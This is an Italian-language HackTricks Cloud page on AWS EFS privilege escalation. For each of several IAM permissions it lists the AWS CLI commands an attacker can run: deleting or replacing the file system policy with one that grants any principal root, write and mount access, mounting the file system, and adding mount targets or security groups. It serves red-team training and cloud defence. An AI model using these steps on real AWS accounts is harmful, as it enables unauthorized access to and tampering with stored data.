AWS - EFS Privesc
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
EFS
Maggiori informazioni su EFS in:
Ricorda che per montare un EFS devi trovarti in una sottorete dove l'EFS è esposto e avere accesso ad esso (security groups). Se questo è il caso, per impostazione predefinita sarai sempre in grado di montarlo; tuttavia, se è protetto da IAM policies devi avere le autorizzazioni extra menzionate qui per accedervi.
elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy
With any of those permissions an attacker can modificare la policy del file system per darti l'accesso ad esso, oppure semplicemente cancellarla in modo che venga concesso l'accesso predefinito.
Per cancellare la policy:
aws efs delete-file-system-policy \
--file-system-id <value>
Per cambiarlo:
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)
Con questo permesso un attaccante sarà in grado di mount the EFS. Se il write permission non è concesso di default a chiunque possa mount the EFS, avrà solo read access.
sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
Le autorizzazioni aggiuntive elasticfilesystem:ClientRootAccess e elasticfilesystem:ClientWrite possono essere usate per scrivere all'interno del filesystem dopo che è montato e per accedere a quel file system as root.
Impatto potenziale: Privesc indiretto ottenendo informazioni sensibili presenti nel file system.
elasticfilesystem:CreateMountTarget
Se un attacker si trova all'interno di una subnetwork dove non esiste alcun mount target dell'EFS, può semplicemente crearne uno nella sua subnet con questo privilegio:
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
Impatto potenziale: privesc indiretto individuando informazioni sensibili nel file system.
elasticfilesystem:ModifyMountTargetSecurityGroups
In uno scenario in cui un attaccante scopre che l'EFS ha un mount target nella sua subnetwork ma nessuna security group permette il traffico, potrebbe semplicemente abilitare il traffico modificando le security groups selezionate:
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
Impatto potenziale: privesc indiretto localizzando informazioni sensibili nel file system.
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud